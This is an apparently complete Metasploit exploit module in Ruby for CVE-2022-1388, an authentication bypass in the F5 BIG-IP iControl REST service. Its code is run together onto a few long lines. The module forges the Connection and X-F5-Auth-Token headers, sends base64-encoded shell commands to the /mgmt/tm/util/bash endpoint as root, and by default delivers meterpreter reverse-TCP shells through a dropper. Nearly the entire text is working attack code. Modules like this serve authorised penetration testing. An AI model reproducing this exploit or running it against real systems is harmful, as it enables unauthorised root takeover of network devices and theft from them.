F5 BIG-IP iControl Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'F5 BIG-IP iControl RCE via REST Authentication Bypass',        'Description' => %q{          This module exploits an authentication bypass vulnerability          in the F5 BIG-IP iControl REST service to gain access to the          admin account, which is capable of executing commands          through the /mgmt/tm/util/bash endpoint.          Successful exploitation results in remote code execution          as the root user.        },        'Author' => [          'Heyder Andrade', # Metasploit module          'alt3kx <alt3kx[at]protonmail.com>', # PoC          'James Horseman', # Technical Writeup          'Ron Bowes' # Documentation of exploitation specifics        ],        'References' => [          ['CVE', '2022-1388'],          ['URL', 'https://support.f5.com/csp/article/K23605346'],          ['URL', 'https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/'], # Writeup          ['URL', 'https://github.com/alt3kx/CVE-2022-1388_PoC'] # PoC        ],        'License' => MSF_LICENSE,        'DisclosureDate' => '2022-05-04', # Vendor advisory        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],        'Privileged' => true,        'Targets' => [          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'              }            }          ],          [            'Linux Dropper',            {              'Platform' => 'linux',              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :linux_dropper,              'DefaultOptions' => {                'CMDSTAGER::FLAVOR' => :bourne,                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'              }            }          ]        ],        'DefaultTarget' => 1, # Linux Dropper avoids some timeout issues that Unix Command payloads sometimes encounter.        'DefaultOptions' => {          'RPORT' => 443,          'SSL' => true,          'PrependFork' => true, # Needed to avoid warnings about timeouts and potential failures across attempts.          'MeterpreterTryToFork' => true # Needed to avoid warnings about timeouts and potential failures across attempts.        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION], # Only one concurrent session          'SideEffects' => [            IOC_IN_LOGS, # /var/log/restjavad.0.log (rotated)            ARTIFACTS_ON_DISK # CmdStager          ]        }      )    )    register_options(      [        OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/']),        OptString.new('HttpUsername', [true, 'iControl username', 'admin']),        OptString.new('HttpPassword', [true, 'iControl password', ''])      ]    )    register_advanced_options([      OptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5])    ])  end  def check    print_status("Checking #{datastore['RHOST']}:#{datastore['RPORT']}")    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, '/mgmt/shared/authn/login'),      'method' => 'GET'    })    return CheckCode::Unknown unless res&.code == 401    body = res.get_json_document    return CheckCode::Safe unless body.key?('message') && body['kind'] == ':resterrorresponse'    signature = Rex::Text.rand_text_alpha(13)    stub = "echo #{signature}"    res = send_command(stub)    return CheckCode::Safe unless res&.code == 200    body = res.get_json_document    return CheckCode::Safe unless body['kind'] == 'tm:util:bash:runstate'    return CheckCode::Vulnerable if body['commandResult'].chomp == signature    CheckCode::Safe  end  def exploit    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    case target['Type']    when :unix_cmd      execute_command(payload.encoded)    when :linux_dropper      execute_cmdstager    end  end  def execute_command(cmd, _opts = {})    vprint_status("Executing command: #{cmd}")    res = send_command(cmd)    unless res      print_warning('Command execution timed out')      return    end    json = res.get_json_document    unless res.code == 200 && json['kind'] == 'tm:util:bash:runstate'      fail_with(Failure::PayloadFailed, 'Failed to execute command')    end    print_good('Successfully executed command')    return unless (cmd_result = json['commandResult'])    vprint_line(cmd_result)  end  def send_command(cmd)    bash_cmd = "eval $(echo #{Rex::Text.encode_base64(cmd)} | base64 -d)"    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/mgmt/tm/util/bash'),      'ctype' => 'application/json',      'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),      'headers' => {        'Host' => 'localhost',        'Connection' => 'keep-alive, X-F5-Auth-Token',        'X-F5-Auth-Token' => Rex::Text.rand_text_alpha_lower(6)      },      'data' => {        'command' => 'run',        'utilCmdArgs' => "-c '#{bash_cmd}'"      }.to_json    }, datastore['CmdExecTimeout'])  endend